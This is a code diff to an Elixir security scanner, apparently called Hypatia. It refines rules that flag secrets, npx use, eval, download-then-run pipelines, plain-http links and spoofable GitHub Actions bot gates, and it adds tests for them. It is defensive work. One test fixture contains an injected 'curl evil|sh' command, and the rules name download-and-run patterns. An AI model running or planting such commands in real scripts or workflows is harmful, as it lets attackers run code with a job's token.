diff --git a/lib/hypatia/cli.ex b/lib/hypatia/cli.ex index 112cb000..e3e4a7fc 100644 --- a/lib/hypatia/cli.ex +++ b/lib/hypatia/cli.ex @@ -1173,6 +1173,9 @@ defmodule Hypatia.CLI do |> Enum.reject( &Hypatia.ScannerSuppression.comment_masked_secret_label?(&1, line, idx + 1) ) + |> Enum.reject( + &Hypatia.ScannerSuppression.proof_source_ambiguous_label?(&1, file, line) + ) |> Enum.map(fn label -> # Placeholder-shaped values and commented-out lines downgrade to # medium/report instead of critical/revoke_rotate_and_purge diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index 302ba75c..8e09c2b5 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -356,6 +356,35 @@ defmodule Hypatia.ScannerSuppression do def comment_masked_secret_label?(_label, _line, _line_number), do: false + # Proof-assistant sources name lemmas and facts with `name: "prop"` + # (Isabelle `lemma inj_secret: "…"`, `assumes pw_ok: "…"`), which is exactly + # the `secret: "…"` form. Only that declaration shape is dropped, and only + # for the three form-ambiguous labels: a plain assignment such as + # `password = "…"` in a proof source still fires, as do the + # structurally-unforgeable shapes (`ghp_…`, `AKIA…`, PEM blocks). + # absolute-zero OND.thy:62. + @proof_source_exts ~w(.thy .v .agda .lagda .lean .idr .lidr) + + @proof_named_fact ~r/^\s*(?:lemma|theorem|corollary|proposition|schematic_goal|definition|abbreviation|fun|function|primrec|inductive|assumes|shows|and|have|show|hence|thus|obtain|note)\s+[A-Za-z_][\w']*\s*:\s*"/ + + @doc """ + Return true when `label` is `"Generic API key"`, `"Generic secret"` or + `"Password"`, `file` ends in `.thy`, `.v`, `.agda`, `.lagda`, `.lagda.md`, + `.lean`, `.idr` or `.lidr`, and `line` starts with a recognised named proof + declaration (`lemma : ""`), allowing leading whitespace. + + Return false for assignments, other labels or extensions, or non-binary + arguments. This predicate does not read the file. + """ + def proof_source_ambiguous_label?(label, file, line) + when is_binary(label) and is_binary(file) and is_binary(line) do + label in @form_ambiguous_secret_labels and + (Path.extname(file) in @proof_source_exts or String.ends_with?(file, ".lagda.md")) and + Regex.match?(@proof_named_fact, line) + end + + def proof_source_ambiguous_label?(_label, _file, _line), do: false + @doc """ Return true when `line` is a whole-line comment. diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index ff299a51..829780e9 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -50,16 +50,16 @@ defmodule Hypatia.Rules.CicdRules do # Community-health files (SECURITY.md, CONTRIBUTING.md, …) are recognised # by GitHub in any of root, `.github/`, or `docs/`. Check all three so the # rule doesn't false-positive when SECURITY.md lives under `.github/`. - candidates = [file, Path.join(".github", file), Path.join("docs", file)] - cond do # Repo-rooted check: nested paths like `.github/dependabot.yml` can # only be confirmed via on-disk inspection. The root_files list is # not enough — without this the rule was a false-positive factory. - is_binary(repo_path) and Enum.any?(candidates, &File.exists?(Path.join(repo_path, &1))) -> + is_binary(repo_path) and policy_file_present?(repo_path, file) -> true - file in Map.get(info, :files, []) -> + # Without a repo_path the listed files are all there is; accept the + # same markup variants the on-disk check does (CodeRabbit on #883). + Enum.any?(policy_file_candidates(file), &(&1 in Map.get(info, :files, []))) -> true true -> @@ -67,6 +67,43 @@ defmodule Hypatia.Rules.CicdRules do end end + # A policy document is satisfied by any markup the estate writes it in. The + # estate's docs language is AsciiDoc, so `SECURITY.adoc` is the normal form; + # requiring the literal `.md` made every such repo a HIGH "missing SECURITY.md" + # (absolute-zero). OpenSSF Scorecard's Security-Policy check accepts the same + # set. Non-document requirements (`.yml`) are matched exactly. + @policy_markups ~w(.md .markdown .adoc .rst) + + @doc """ + Repo-relative paths that satisfy a requirement for `file`: every accepted + markup of it, in the root, `.github/` or `docs/`. The single source of truth + for "is this policy document present" — the Scorecard ingestor's + Security-Policy check delegates here rather than keeping its own list. + + A `.md`, `.markdown`, `.adoc` or `.rst` extension is replaced with each of + those extensions. Other extensions are kept unchanged. Candidate paths + are returned without checking whether they exist. + """ + def policy_file_candidates(file) do + for name <- markup_variants(file), dir <- ["", ".github", "docs"] do + if dir == "", do: name, else: Path.join(dir, name) + end + end + + @doc "True when any `policy_file_candidates/1` path exists under `repo_path`." + def policy_file_present?(repo_path, file) do + Enum.any?(policy_file_candidates(file), &File.exists?(Path.join(repo_path, &1))) + end + + defp markup_variants(file) do + if Path.extname(file) in @policy_markups do + base = Path.rootname(file) + Enum.map(@policy_markups, &(base <> &1)) + else + [file] + end + end + # --------------------------------------------------------------------------- # Commit Blocking Patterns # --------------------------------------------------------------------------- @@ -441,7 +478,12 @@ defmodule Hypatia.Rules.CicdRules do pattern: ~r/(?:^|[\s;&|])(?:npx|npm[[:space:]]+run)\b/m, reason: "npx / `npm run` banned in CI -- use `bunx` or `bun run` instead (npm banned 2026-05-25; Deno banned 2026-09-22, standards LANGUAGE-POLICY §1.3)", - applies_to: ["*.yml", "*.yaml", "*.sh", "Justfile", "Mustfile"] + applies_to: ["*.yml", "*.yaml", "*.sh", "Justfile", "Mustfile"], + # The ban's own enforcers (echidna scripts/ban-npm.sh) name npx inside a + # quoted grep pattern or an echo message; that is text, not execution. + # Only those quoted arguments are masked before matching, never the whole + # line: `echo "npx is banned" && npx foo` still fires on the real npx. + mask_quoted_args_of: ~w(grep egrep rg echo printf) }, %{id: :golang_detected, glob: "*.go", reason: "Go banned -- use Rust"}, # Python ban is total — no exceptions (the former SaltStack carve-out @@ -667,7 +709,10 @@ defmodule Hypatia.Rules.CicdRules do id: :eval_in_shell, pattern: ~r/\beval\b/, reason: "eval banned in shell scripts -- use direct expansion or arrays", - applies_to: ["*.sh"] + applies_to: ["*.sh"], + # C4: comments describing a payload or a usage example are prose, not + # execution (standards#936/#939: every comment-line hit was a false positive). + skip_comment_lines: true }, # --- Scanner-derived rule (2026-09-01) ----------------------------- # @@ -713,7 +758,10 @@ defmodule Hypatia.Rules.CicdRules do id: :download_then_run_shell, pattern: ~r/\b(curl|wget)\b[^\n|;]*\|\s*(sh|bash)\b/, reason: "download-then-run banned -- verify checksum/signature before execution", - applies_to: ["*.sh", "*.yml", "*.yaml"] + applies_to: ["*.sh", "*.yml", "*.yaml"], + # C4: comments describing a payload or a usage example are prose, not + # execution (standards#936/#939: every comment-line hit was a false positive). + skip_comment_lines: true }, %{ id: :js_insecure_random_security_context, @@ -761,13 +809,22 @@ defmodule Hypatia.Rules.CicdRules do # `http://www.w3.org/...` XML-namespace pattern (which is identifier- # only, not a navigable URL). Severity :medium (advisory; flagrant # uses become RFC-9116 / RSR violations). + # + # Only a URL with a public dotted host can be "upgraded to https", so the + # host must contain a dot and must not be reserved (RFC 2606/6761: + # example[.com|.org|.net], *.example, *.test, *.invalid, *.localhost, plus + # *.local and *.internal). That excludes placeholders (`http://`), + # single-label service names (`http://julia-ml:9000` on a docker network) + # and fragments like `http://+` — every one a false positive on echidna. + # Verbatim licence texts under LICENSES/ are not the repo's to edit. %{ id: :http_in_docs, pattern: - ~r/\bhttp:\/\/(?!localhost|127\.0\.0\.1|0\.0\.0\.0|::1|www\.w3\.org\/|example\.com)/, + ~r/\bhttp:\/\/(?!localhost(?![\w.-])|127\.0\.0\.1|0\.0\.0\.0|::1|www\.w3\.org\/|(?:[\w-]+\.)*example(?:\.(?:com|org|net))?(?![\w.-])|[\w.-]+\.(?:test|invalid|localhost|local|internal)(?![\w.-]))[A-Za-z0-9-]+\.[A-Za-z0-9.-]*[A-Za-z]/, reason: "HTTP URL in prose -- estate policy mandates HTTPS in docs (use https:// or, if intentional, add an inline `` pragma)", - applies_to: ["*.md", "*.adoc", "*.rst", "*.txt"] + applies_to: ["*.md", "*.adoc", "*.rst", "*.txt"], + path_allow_prefixes: ["LICENSES/"] }, %{ id: :mu_plugin_no_guard, @@ -819,6 +876,10 @@ defmodule Hypatia.Rules.CicdRules do non-whitespace characters are `#` or `//`. * `skip_if_line_matches: ~r/.../` — ignores matching lines that also match this regex (a rule's own remediation, e.g. `mktemp`). + * `mask_quoted_args_of: [cmd, ...]` — blanks quoted arguments of the + named commands (`echo "npx"` → `echo ""`) before matching, so text + that only *names* a banned tool is not reported while an executable + use elsewhere on the same line still is. * `strip_yaml_comments: true` — removes unquoted YAML comments before matching while preserving the original line numbers and finding text. * Inline pragma — `hypatia:ignore ` on a matching line or the @@ -946,7 +1007,7 @@ defmodule Hypatia.Rules.CicdRules do |> Enum.with_index(1) |> Enum.flat_map(fn {{line, matching_line}, n} -> cond do - not Regex.match?(rule.pattern, matching_line) -> + not Regex.match?(rule.pattern, mask_quoted_args(rule, matching_line)) -> [] # C4: a rule may opt out of matching inside comments. Default false, @@ -981,6 +1042,22 @@ defmodule Hypatia.Rules.CicdRules do defp skip_line_match?(%{skip_if_line_matches: %Regex{} = re}, line), do: Regex.match?(re, line) defp skip_line_match?(_rule, _line), do: false + # Blank the quoted arguments of the rule's named commands, repeating until + # stable so every quoted argument of `grep -e "a" -e "b"` is masked. Only + # the quoted text goes; separators and later commands are kept intact. + defp mask_quoted_args(%{mask_quoted_args_of: [_ | _] = cmds}, line) do + alt = Enum.map_join(cmds, "|", &Regex.escape/1) + re = Regex.compile!("(\\b(?:#{alt})\\b[^;&|\"']*)([\"'])[^\"']+\\2") + mask_until_stable(re, line) + end + + defp mask_quoted_args(_rule, line), do: line + + defp mask_until_stable(re, line) do + masked = Regex.replace(re, line, "\\1\\2\\2") + if masked == line, do: line, else: mask_until_stable(re, masked) + end + defp content_for_matching(rule, content) do if Map.get(rule, :strip_yaml_comments, false) do content diff --git a/lib/rules/research_extensions.ex b/lib/rules/research_extensions.ex index 970e1d72..3c0c6e51 100644 --- a/lib/rules/research_extensions.ex +++ b/lib/rules/research_extensions.ex @@ -812,14 +812,20 @@ defmodule Hypatia.Rules.ResearchExtensions do # ─── RE008: spoofable bot-identity gate ────────────────────────────── @doc """ - RE008: A conditional uses `github.actor == 'dependabot[bot]'` (or - any other bot login) as a trust gate. `github.actor` is the user - *who triggered the run*, not the PR author — on - `pull_request_target` from a fork the attacker controls the value. + RE008: Find `github.actor` comparisons using `==` or `!=` with a quoted + bot login ending in `[bot]` in workflow text. Provenance: zizmor `bot-conditions` + Koishybayev et al. (USENIX Security 2022). + Suppress a match when the same line contains an `&&`-separated equality + between `github.event.pull_request.user.login` and the same bot login, + with no `||` or logical `!` (`!=` is allowed). Expression wrappers and + parentheses around that equality are accepted. + + Return one finding per remaining match, with a repo-relative file path + and a one-based line number in `detail.line`, or `[]` when none remain. Severity: `:critical`. Action: `:report`. + Raises `File.Error` if workflow directory listing or file reading fails. """ def re008_spoofable_bot_gate(repo_path) do # github.actor compared to any bot-identity string. Catch both @@ -832,11 +838,17 @@ defmodule Hypatia.Rules.ResearchExtensions do content = File.read!(path) rel = Path.relative_to(path, repo_path) + lines = String.split(content, "\n") + Regex.scan(bot_gate_re, content, return: :index) |> Enum.map(fn [{idx, _}, {name_start, name_len}] -> name = binary_part(content, name_start, name_len) - line_no = line_number_for_offset(content, idx) - + {name, line_number_for_offset(content, idx)} + end) + |> Enum.reject(fn {name, line_no} -> + author_pinned_gate?(Enum.at(lines, line_no - 1, ""), name) + end) + |> Enum.map(fn {name, line_no} -> %{ rule: "RE008", file: rel, @@ -859,6 +871,43 @@ defmodule Hypatia.Rules.ResearchExtensions do end) end + # The rule's own recommended fix, already applied: the same condition ANDs in + # the PR author (`github.event.pull_request.user.login`), which a fork cannot + # forge. With `&&` and no `||` the spoofable `github.actor` half can only + # narrow the gate, never open it (panoply / nextgen-typing + # dependabot-automerge.yml were reported CRITICAL for exactly this shape). + # + # Fail-safe: the author equality must be a whole, positive, top-level `&&` + # conjunct. Any logical `!` (not `!=`) anywhere in the expression keeps the + # finding, since `!(user.login == 'bot')` admits every non-bot author. + defp author_pinned_gate?(line, name) do + author_re = + ~r/^github\.event\.pull_request\.user\.login\s*==\s*['"]#{Regex.escape(name)}['"]$/ + + expr = + line + |> String.replace(~r/^\s*(?:-\s*)?if:\s*/, "") + |> String.replace(~r/\$\{\{|\}\}/, "") + + String.contains?(expr, "&&") and not String.contains?(expr, "||") and + not Regex.match?(~r/!(?!=)/, expr) and + expr + |> String.split("&&") + |> Enum.map(&strip_wrapping_parens/1) + |> Enum.any?(&Regex.match?(author_re, &1)) + end + + # Remove whitespace and matched outer parentheses: `( (a == b) )` → `a == b`. + # Unmatched parentheses are left in place, so the conjunct cannot match. + defp strip_wrapping_parens(conjunct) do + trimmed = String.trim(conjunct) + + case Regex.run(~r/^\((.*)\)$/s, trimmed) do + [_, inner] -> strip_wrapping_parens(inner) + nil -> trimmed + end + end + # ─── RE009: fromJSON(secrets.X) bypasses runner redaction ──────────── @doc """ diff --git a/lib/rules/workflow_hardening.ex b/lib/rules/workflow_hardening.ex index 458e5105..2a2b92f3 100644 --- a/lib/rules/workflow_hardening.ex +++ b/lib/rules/workflow_hardening.ex @@ -199,10 +199,20 @@ defmodule Hypatia.Rules.WorkflowHardening do # ─── WH002: Excessive workflow permissions ────────────────────────── @doc """ - WH002: Workflow has no top-level `permissions:` block at all, OR has - `permissions: write-all`, OR has top-level `contents: write`. Per Cassel + WH002: Workflow has no `permissions:` declaration at any level, OR has + top-level `permissions: write-all`, `write-all: true` in a top-level + permissions block, or top-level `contents: write`. Per Cassel et al. 2024, ~74% of public workflows are at the default (write-all-equivalent for many scopes). This catches Scorecard TokenPermissionsID alerts. + + Return a list of findings with repo-relative file paths. Missing permissions + produce `:warn`; write-all grants produce `:high`. For `contents: write`, + scan the workflow and referenced local scripts: detected writes or unresolved + script references produce `:warn`, otherwise `:high`. Return `[]` when no + workflow matches. Job-level permissions alone do not produce a finding. + + Raises `File.Error` if workflow directory listing, workflow reading or + reading a selected local script fails. """ def wh002_excessive_permissions(repo_path) do repo_path @@ -216,7 +226,7 @@ defmodule Hypatia.Rules.WorkflowHardening do [finding_wh002(rel, "set to `write-all`", :high)] Regex.match?(~r/^permissions:\s*\n\s+contents:\s*write/m, content) -> - [wh002_contents_write_finding(rel, content)] + [wh002_contents_write_finding(rel, local_script_scan(content, repo_path))] Regex.match?(~r/^permissions:\s*\n\s+write-all:\s*true/m, content) -> [finding_wh002(rel, "with `write-all: true`", :high)] @@ -288,6 +298,104 @@ defmodule Hypatia.Rules.WorkflowHardening do Regex.replace(@foreign_push, content, "") end + # A `run:` that calls a repo-local script (`bash scripts/wiki-sync.sh`, + # `./ci/release.sh`) performs whatever that script performs. Reading only the + # workflow text made WH002 call absolute-zero's wiki-sync.yml "no write + # operation found — safe to narrow" while scripts/wiki-sync.sh does the + # `git push` that needs the grant: the recommended narrowing breaks the sync. + @local_script_ref ~r/(? + Path.expand(d, root) + end) + ] + |> Enum.uniq() + |> Enum.filter(&inside?(&1, root)) + + {scripts, unresolved} = + @local_script_ref + |> Regex.scan(content, capture: :all_but_first) + |> Enum.map(fn [ref] -> ref end) + |> Enum.uniq() + |> Enum.reduce({[], []}, fn ref, {found, missing} -> + candidates = + bases + |> Enum.map(&Path.expand(ref, &1)) + |> Enum.uniq() + |> Enum.filter(&(&1 != root and inside?(&1, root))) + + readable = Enum.filter(candidates, &unlinked_regular_file?(&1, root)) + + cond do + # Every candidate escapes the repo: not a repo-local script. + candidates == [] -> {found, missing} + readable == [] -> {found, [ref | missing]} + true -> {readable ++ found, missing} + end + end) + + texts = scripts |> Enum.uniq() |> Enum.map(&File.read!/1) + %{content: Enum.join([content | texts], "\n"), unresolved: Enum.reverse(unresolved)} + end + + @doc """ + Return the combined text from `local_script_scan/2`, discarding its unresolved + references. Uses the same reference selection and propagates `File.Error` + if reading a selected script fails. + """ + def with_local_scripts(content, repo_path) when is_binary(content) do + local_script_scan(content, repo_path).content + end + + defp inside?(path, root), do: path == root or String.starts_with?(path, root <> "/") + + # lstat every component from the root down; any symbolic link rejects. + defp unlinked_regular_file?(path, root) do + parts = path |> Path.relative_to(root) |> Path.split() + + parts + |> Enum.scan(root, &Path.join(&2, &1)) + |> Enum.with_index(1) + |> Enum.all?(fn {p, i} -> + case File.lstat(p) do + {:ok, %File.Stat{type: :regular}} -> i == length(parts) + {:ok, %File.Stat{type: :directory}} -> i < length(parts) + _ -> false + end + end) + end + @doc """ Return true when at least one JOB declares its own `permissions:` block. A job-level block replaces the workflow-level one, so its presence means @@ -304,7 +412,7 @@ defmodule Hypatia.Rules.WorkflowHardening do # (3) does a job carry its own `permissions:`. # Only (1) alone is NOT a finding — that was the defect that made this rule # recommend breaking narrowings. - defp wh002_contents_write_finding(rel, content) do + defp wh002_contents_write_finding(rel, %{content: content, unresolved: unresolved}) do writes? = performs_contents_write?(content) job_scoped? = job_level_permissions?(content) @@ -344,6 +452,17 @@ defmodule Hypatia.Rules.WorkflowHardening do :warn ) + # A called script could not be read, so "no write found" is unproven. + # Never tell the owner narrowing is safe on an unread script. + unresolved != [] -> + finding_wh002( + rel, + "with `contents: write` (calls #{Enum.join(unresolved, ", ")}, which " <> + "could not be read (missing, or behind a symbolic link) — verify it " <> + "performs no push/commit/release before narrowing)", + :warn + ) + # No write performed: narrowing is genuine least-privilege hardening. true -> finding_wh002( diff --git a/lib/scorecard_ingestor.ex b/lib/scorecard_ingestor.ex index 611bc3e8..e3445ba2 100644 --- a/lib/scorecard_ingestor.ex +++ b/lib/scorecard_ingestor.ex @@ -359,13 +359,13 @@ defmodule Hypatia.ScorecardIngestor do # --- Local Check Implementations --- defp check_security_policy(repo_path, repo_name) do - security_paths = [ - Path.join(repo_path, "SECURITY.md"), - Path.join([repo_path, ".github", "SECURITY.md"]), - Path.join(repo_path, "security.md") - ] + # Same acceptance set as the CI/CD requirement (any markup; root, .github/ + # or docs/), so the two checks cannot disagree about SECURITY.adoc again. + present = + Hypatia.Rules.CicdRules.policy_file_present?(repo_path, "SECURITY.md") or + File.exists?(Path.join(repo_path, "security.md")) - unless Enum.any?(security_paths, &File.exists?/1) do + unless present do make_pattern("SC-016", "Security-Policy", repo_name, "No SECURITY.md found in #{repo_name}") end end diff --git a/test/http_in_docs_test.exs b/test/http_in_docs_test.exs new file mode 100644 index 00000000..c19e0257 --- /dev/null +++ b/test/http_in_docs_test.exs @@ -0,0 +1,54 @@ +# SPDX-License-Identifier: MPL-2.0 + +defmodule Hypatia.HttpInDocsTest do + use ExUnit.Case, async: true + + alias Hypatia.CLI + + # Every negative case below is a line hypatia reported on echidna + # (echidna#314): none names a public host that could be moved to https. + + setup do + dir = Path.join(System.tmp_dir!(), "hyp-http-test-#{:erlang.unique_integer([:positive])}") + File.mkdir_p!(dir) + on_exit(fn -> File.rm_rf!(dir) end) + {:ok, dir: dir} + end + + defp findings(dir, rel, line) do + path = Path.join(dir, rel) + File.mkdir_p!(Path.dirname(path)) + File.write!(path, line <> "\n") + + dir + |> CLI.collect_findings([:content_patterns]) + |> Enum.filter(&(&1.type == "http_in_docs")) + end + + test "a public http link is reported", %{dir: dir} do + assert [_] = findings(dir, "docs/x.adoc", "See http://mizar.org/system/index.html[Mizar].") + end + + test "a public http link after a reserved one on the same line is still reported", %{dir: dir} do + assert [_] = findings(dir, "README.md", "http://julia-ml:9000 then http://pvs.csl.sri.com/") + end + + for line <- [ + ~s|curl -m 5 http://:8081/api/health|, + "export URL=http://julia-ml:9000", + "VERISIM=http://verisim.staging.example:9090", + "http://api.example.org/v1 and http://example.com", + "http://svc.internal/health and http://printer.local/", + "|http://+ |fragment|", + "http://localhost:4000" + ] do + test "non-public host is not reported: #{line}", %{dir: dir} do + assert [] = findings(dir, "docs/x.adoc", unquote(line)) + end + end + + test "verbatim licence text under LICENSES/ is not reported", %{dir: dir} do + assert [] = + findings(dir, "LICENSES/MPL-2.0.txt", "one at http://mozilla.org/MPL/2.0/.") + end +end diff --git a/test/npx_in_workflow_test.exs b/test/npx_in_workflow_test.exs new file mode 100644 index 00000000..db4a1578 --- /dev/null +++ b/test/npx_in_workflow_test.exs @@ -0,0 +1,55 @@ +# SPDX-License-Identifier: MPL-2.0 + +defmodule Hypatia.NpxInWorkflowTest do + use ExUnit.Case, async: true + + alias Hypatia.CLI + + setup do + dir = Path.join(System.tmp_dir!(), "hyp-npx-test-#{:erlang.unique_integer([:positive])}") + File.mkdir_p!(dir) + on_exit(fn -> File.rm_rf!(dir) end) + {:ok, dir: dir} + end + + defp findings(dir, line) do + path = Path.join(dir, "scripts/x.sh") + File.mkdir_p!(Path.dirname(path)) + File.write!(path, line <> "\n") + + dir + |> CLI.collect_findings([:content_patterns]) + |> Enum.filter(&(&1.type == "npx_in_workflow")) + end + + test "running npx is reported", %{dir: dir} do + assert [_] = findings(dir, "npx prettier --check .") + end + + test "npx after a quoted echo on the same line is still reported", %{dir: dir} do + assert [_] = findings(dir, ~s|echo "formatting" && npx prettier .|) + end + + # A quoted message that names npx must not hide an executable command on + # the same line (CodeRabbit on #883: the old skip discarded the whole line). + for line <- [ + ~s{echo "npx is banned" && npx foo}, + ~s{echo "npx is banned"; npm run build}, + ~s{grep -q "npx" Justfile || npx prettier .} + ] do + test "executable command beside a quoted npx mention is reported: #{line}", %{dir: dir} do + assert [_] = findings(dir, unquote(line)) + end + end + + # The three lines hypatia reported on echidna's scripts/ban-npm.sh. + for line <- [ + ~s{if grep -r "npm install\\|npm i \\|npx \\|npm run" scripts/ 2>/dev/null; then}, + ~s{if [ -f "Justfile" ] && grep -q "npm\\|npx" Justfile; then}, + ~s{echo " ✗ npm, npx, node_modules"} + ] do + test "npx named in a quoted grep/echo argument is not reported: #{line}", %{dir: dir} do + assert [] = findings(dir, unquote(line)) + end + end +end diff --git a/test/proof_source_secret_test.exs b/test/proof_source_secret_test.exs new file mode 100644 index 00000000..1ec89aab --- /dev/null +++ b/test/proof_source_secret_test.exs @@ -0,0 +1,32 @@ +# SPDX-License-Identifier: MPL-2.0 + +defmodule Hypatia.ProofSourceSecretTest do + use ExUnit.Case, async: true + + alias Hypatia.CLI + + setup do + dir = Path.join(System.tmp_dir!(), "hyp-proof-secret-#{:erlang.unique_integer([:positive])}") + File.mkdir_p!(dir) + on_exit(fn -> File.rm_rf!(dir) end) + {:ok, dir: dir} + end + + defp secret_findings(dir, name, body) do + File.write!(Path.join(dir, name), body) + + dir + |> CLI.collect_findings([:code_safety]) + |> Enum.filter(&(&1.type == "secret_detected")) + end + + test "a named proof fact is not reported as a secret", %{dir: dir} do + assert [] = secret_findings(dir, "OND.thy", ~s|lemma secret: "x = y"\n|) + end + + # CodeRabbit on #883: the suppression must not hide a real credential + # just because it sits in a proof-language file. + test "an assigned credential in a proof source is still reported", %{dir: dir} do + assert [_ | _] = secret_findings(dir, "A.lean", ~s|password = "hunter2"\n|) + end +end diff --git a/test/research_extensions_test.exs b/test/research_extensions_test.exs index d4afd080..66be109a 100644 --- a/test/research_extensions_test.exs +++ b/test/research_extensions_test.exs @@ -541,6 +541,66 @@ defmodule Hypatia.Rules.ResearchExtensionsTest do assert ResearchExtensions.re008_spoofable_bot_gate(repo) == [] File.rm_rf!(repo) end + + test "accepts actor gate ANDed with the PR author (panoply/nextgen-typing)" do + repo = + create_repo_with_workflow(""" + jobs: + x: + if: github.actor == 'dependabot[bot]' && github.event.pull_request.user.login == 'dependabot[bot]' + steps: + - run: echo trusted + """) + + assert ResearchExtensions.re008_spoofable_bot_gate(repo) == [] + File.rm_rf!(repo) + end + + test "still flags when the author check is ORed or names another bot" do + repo = + create_repo_with_workflow(""" + jobs: + x: + if: github.actor == 'dependabot[bot]' || github.event.pull_request.user.login == 'dependabot[bot]' + y: + if: github.actor == 'dependabot[bot]' && github.event.pull_request.user.login == 'renovate[bot]' + steps: + - run: echo trusted + """) + + assert length(ResearchExtensions.re008_spoofable_bot_gate(repo)) == 2 + File.rm_rf!(repo) + end + + test "still flags a negated author comparison (CodeRabbit on #883)" do + repo = + create_repo_with_workflow(""" + jobs: + x: + if: github.actor == 'dependabot[bot]' && !(github.event.pull_request.user.login == 'dependabot[bot]') + y: + if: ${{ !(github.actor == 'dependabot[bot]' && github.event.pull_request.user.login == 'dependabot[bot]') }} + steps: + - run: echo trusted + """) + + assert length(ResearchExtensions.re008_spoofable_bot_gate(repo)) == 2 + File.rm_rf!(repo) + end + + test "accepts the author conjunct inside an expression wrapper and parentheses" do + repo = + create_repo_with_workflow(""" + jobs: + x: + if: ${{ github.actor == 'dependabot[bot]' && (github.event.pull_request.user.login == 'dependabot[bot]') }} + steps: + - run: echo trusted + """) + + assert ResearchExtensions.re008_spoofable_bot_gate(repo) == [] + File.rm_rf!(repo) + end end # ─── RE009 ────────────────────────────────────────────────────────── diff --git a/test/rules/cicd_repo_requirements_test.exs b/test/rules/cicd_repo_requirements_test.exs new file mode 100644 index 00000000..9a610447 --- /dev/null +++ b/test/rules/cicd_repo_requirements_test.exs @@ -0,0 +1,70 @@ +# SPDX-License-Identifier: MPL-2.0 + +defmodule Hypatia.Rules.CicdRepoRequirementsTest do + use ExUnit.Case, async: true + + alias Hypatia.Rules.CicdRules + + defp repo_with(files) do + repo = Path.join(System.tmp_dir!(), "req_test_#{System.unique_integer([:positive])}") + + for f <- files do + path = Path.join(repo, f) + File.mkdir_p!(Path.dirname(path)) + File.write!(path, "x\n") + end + + File.mkdir_p!(repo) + repo + end + + defp missing(repo) do + %{visibility: "public", has_deps: false, files: [], repo_path: repo} + |> CicdRules.check_repo_requirements() + |> Enum.map(& &1.missing) + end + + describe "security policy in any markup (absolute-zero SECURITY.adoc)" do + test "SECURITY.adoc at the root satisfies the requirement" do + repo = repo_with(["SECURITY.adoc"]) + refute "SECURITY.md" in missing(repo) + File.rm_rf!(repo) + end + + test ".github/SECURITY.rst satisfies it too" do + repo = repo_with([".github/SECURITY.rst"]) + refute "SECURITY.md" in missing(repo) + File.rm_rf!(repo) + end + + test "no policy document at all is still reported" do + repo = repo_with(["README.adoc"]) + assert "SECURITY.md" in missing(repo) + File.rm_rf!(repo) + end + + test "without a repo_path, a listed SECURITY.adoc satisfies it" do + missing = + %{visibility: "public", has_deps: false, files: ["SECURITY.adoc"]} + |> CicdRules.check_repo_requirements() + |> Enum.map(& &1.missing) + + refute "SECURITY.md" in missing + end + + test "without a repo_path, an unrelated listed file does not satisfy it" do + missing = + %{visibility: "public", has_deps: false, files: ["README.adoc"]} + |> CicdRules.check_repo_requirements() + |> Enum.map(& &1.missing) + + assert "SECURITY.md" in missing + end + + test "a non-document requirement is not widened to other extensions" do + repo = repo_with([".github/workflows/scorecard.adoc"]) + assert ".github/workflows/scorecard.yml" in missing(repo) + File.rm_rf!(repo) + end + end +end diff --git a/test/rules/cicd_rules_content_scanner_test.exs b/test/rules/cicd_rules_content_scanner_test.exs index 7d42ec65..21891c99 100644 --- a/test/rules/cicd_rules_content_scanner_test.exs +++ b/test/rules/cicd_rules_content_scanner_test.exs @@ -56,6 +56,37 @@ defmodule Hypatia.Rules.CicdRules.ContentScannerTest do end end + describe "comment lines are prose, not execution (standards#936/#939)" do + test "eval_in_shell ignores comments but still fires on code", %{dir: dir} do + File.write!( + Path.join(dir, "t.sh"), + "# try DESC CMD [ARGS...] -- runs CMD as a real command (no eval)\n" + ) + + refute Enum.any?(CicdRules.scan_content_patterns(dir), &(&1.rule == :eval_in_shell)) + + File.write!(Path.join(dir, "u.sh"), " # eval-free\neval \"$x\"\n") + assert Enum.any?(CicdRules.scan_content_patterns(dir), &(&1.rule == :eval_in_shell)) + end + + test "download_then_run_shell ignores an indented YAML comment", %{dir: dir} do + File.write!( + Path.join(dir, "gate.yml"), + " run: |\n # `x\";curl evil|sh;\"` would run here with this job's token\n" + ) + + refute Enum.any?( + CicdRules.scan_content_patterns(dir), + &(&1.rule == :download_then_run_shell) + ) + end + + test "hardcoded_tmp ignores a usage example in a comment", %{dir: dir} do + File.write!(Path.join(dir, "l.sh"), "# e.g. ./list.sh > /tmp/paths.txt\n") + refute Enum.any?(CicdRules.scan_content_patterns(dir), &(&1.rule == :hardcoded_tmp)) + end + end + describe "inline pragma — # hypatia:ignore " do test "same-line pragma suppresses", %{dir: dir} do File.write!(Path.join(dir, "ok.sh"), "eval \"$safe\" # hypatia:ignore eval_in_shell\n") diff --git a/test/scanner_suppression_test.exs b/test/scanner_suppression_test.exs index 57ba0e07..bd977189 100644 --- a/test/scanner_suppression_test.exs +++ b/test/scanner_suppression_test.exs @@ -645,4 +645,54 @@ defmodule Hypatia.ScannerSuppressionTest do ) end end + + describe "proof_source_ambiguous_label?/3 (absolute-zero OND.thy)" do + test "generic labels on a named proof fact are dropped in proof sources" do + assert ScannerSuppression.proof_source_ambiguous_label?( + "Generic secret", + "proofs/OND.thy", + ~s|lemma inj_secret: "x = y"| + ) + + assert ScannerSuppression.proof_source_ambiguous_label?( + "Password", + "src/A.lagda.md", + ~s| have password: "p \\ q"| + ) + end + + test "unforgeable labels and non-proof files still fire" do + fact = ~s|lemma inj_secret: "x = y"| + + refute ScannerSuppression.proof_source_ambiguous_label?( + "GitHub PAT", + "proofs/OND.thy", + fact + ) + + refute ScannerSuppression.proof_source_ambiguous_label?( + "Generic secret", + "config.exs", + fact + ) + + refute ScannerSuppression.proof_source_ambiguous_label?("Generic secret", "README.md", fact) + end + + # CodeRabbit on #883: an extension gate alone let a real credential in a + # proof file through. Only the named-fact shape is suppressed. + test "an assignment-shaped credential in a proof source still fires" do + refute ScannerSuppression.proof_source_ambiguous_label?( + "Password", + "A.lean", + ~s|password = "hunter2"| + ) + + refute ScannerSuppression.proof_source_ambiguous_label?( + "Generic secret", + "proofs/OND.thy", + ~s|secret := "sk-live-abc123"| + ) + end + end end diff --git a/test/scorecard_ingestor_security_policy_test.exs b/test/scorecard_ingestor_security_policy_test.exs new file mode 100644 index 00000000..91326570 --- /dev/null +++ 